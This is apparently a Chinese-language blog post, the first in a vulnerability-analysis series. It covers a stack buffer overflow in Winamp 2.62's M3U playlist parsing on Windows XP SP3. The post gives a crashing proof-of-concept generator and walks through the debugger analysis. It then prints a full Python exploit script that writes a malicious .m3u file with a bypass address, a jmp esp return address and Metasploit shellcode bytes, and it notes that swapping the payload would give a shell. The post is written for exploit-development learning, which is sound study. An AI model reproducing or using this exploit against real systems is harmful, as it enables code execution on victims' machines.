漏洞分析一百篇-01-winamp中M3U文件解析漏洞

Author Avatar
leo00000 7月 04, 2018

这是一个很古老的漏洞,主要是练习通过POC去学习怎么写EXP。

PoC分析

google出.m3u文件是一个元文件播放列表,它引用 .mp3等音频文件并为播放列表中的项目提供其他元数据。直白点说,.m3u文件就是mp3等音频文件播放列表清单。严格来说,.m3u仅仅就是一个类文本文档(TXT)文件,它的作用只不过是将一些MP3/WMA/MID等音频文件的名字集中在一起的一个表单,作用很简单,就是规定音频文件播放的顺序。这里我们使用如下脚本构建一个winamp-poc.m3u:

def main():
    cl = 'abcdefghijklmnopqrstuvwxyz'
    cl = cl.upper() + cl + '0123456789'
    with open('.\\poc.m3u','w') as f:
        f.write('#EXTM3U\n')

        f.write('#EXTINF:')
        for x in cl:
            f.write(x*8)
        f.write('\n')

if __name__ == '__main__':
    main()

在XP SP3中使用winamp v2.62打开样本,应用崩溃。

image_1behb805lj4i6uc1jlos93pv89.png-460.2kB

定位异常

程序崩溃时,函数的返回地址0x00411e67,在改地址所在的函数下断。发现是第二次进入fgets函数后,执行到0x436ed1,对[ESI+4]写时出错。而ESI=EBP-4=0x69686868,之后判断ESI+4+C处第5位为1。
所以在shellcode偏移11e处的地址需满足一下两个条件

  1. ESI+4处可写
  2. ESI+4+C的第5位为1
    找到满足以上条件的地址0x719f7bf0。

image_1bf4cjb001q101s5t19c0npren213.png-17.5kB

函数执行完0x411fe5的strcpy函数后,覆盖了返回地址。函数第三次执行到fgets之后,继续执行不满足第二个条件,跳转到返回地址。

image_1bf43qgdl1eab19k214a4c878np9.png-15.1kB

编写EXP

shellcode::11e = 0x719f7bf0
shellcode::126 = 0x7ffa4512 jmp esp
利用metasploit生成弹出计算器的payload

image_1bf46ks9v10mm1ik65001jtn15kf9.png-203.3kB

最后构造的exp代码如下:

bypass = b"\xf0\x7b\x9f\x71" #bypass+4 可读可写 [bypass+c]&0x10==0
ret =  b"\x12\x45\xfa\x7f" #jmp esp
buf =  b""
buf += b"\xb8\xa8\x43\xca\x59\xda\xd5\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x31\x31\x43\x13\x03\x43\x13\x83\xeb\x54\xa1"
buf += b"\x3f\xa5\x4c\xa4\xc0\x56\x8c\xc9\x49\xb3\xbd\xc9\x2e"
buf += b"\xb7\xed\xf9\x25\x95\x01\x71\x6b\x0e\x92\xf7\xa4\x21"
buf += b"\x13\xbd\x92\x0c\xa4\xee\xe7\x0f\x26\xed\x3b\xf0\x17"
buf += b"\x3e\x4e\xf1\x50\x23\xa3\xa3\x09\x2f\x16\x54\x3e\x65"
buf += b"\xab\xdf\x0c\x6b\xab\x3c\xc4\x8a\x9a\x92\x5f\xd5\x3c"
buf += b"\x14\x8c\x6d\x75\x0e\xd1\x48\xcf\xa5\x21\x26\xce\x6f"
buf += b"\x78\xc7\x7d\x4e\xb5\x3a\x7f\x96\x71\xa5\x0a\xee\x82"
buf += b"\x58\x0d\x35\xf9\x86\x98\xae\x59\x4c\x3a\x0b\x58\x81"
buf += b"\xdd\xd8\x56\x6e\xa9\x87\x7a\x71\x7e\xbc\x86\xfa\x81"
buf += b"\x13\x0f\xb8\xa5\xb7\x54\x1a\xc7\xee\x30\xcd\xf8\xf1"
buf += b"\x9b\xb2\x5c\x79\x31\xa6\xec\x20\x5f\x39\x62\x5f\x2d"
buf += b"\x39\x7c\x60\x01\x52\x4d\xeb\xce\x25\x52\x3e\xab\xda"
buf += b"\x18\x63\x9d\x72\xc5\xf1\x9c\x1e\xf6\x2f\xe2\x26\x75"
buf += b"\xda\x9a\xdc\x65\xaf\x9f\x99\x21\x43\xed\xb2\xc7\x63"
buf += b"\x42\xb2\xcd\x07\x05\x20\x8d\xe9\xa0\xc0\x34\xf6"


#shellcode = "#EXTM3U\n#EXTINF:"+'A'*(0x11e-0x11) + bypass + 'A'*4 + ret + buf
def generate():
    with open('.\\exp.m3u','wb') as f:
        f.write(("#EXTM3U\x0d\x0a#EXTINF:"+'A'*(0x11e-0x11)).encode('ascii'))
        f.write(bypass)
        f.write(('A'*4).encode('ascii'))
        f.write(ret + buf + b'\x0d\x0a')        

if __name__ == '__main__':
    generate()

结果

实验中在sub_411D36函数3次循环,第二次strcpy覆盖了返回地址,第三判断后,跳转到payload上,可是payload却没有执行,这是由于fstenv指令破坏了栈,更换payload就可以获得shell了,不过到这里就不继续下去了,贴一个fstenv GetPC的方法链接http://www.programlife.net/shellcode-getpc.html

image_1bf4e3h2s15jl3ppif31ldp1hhu1g.png-143.1kB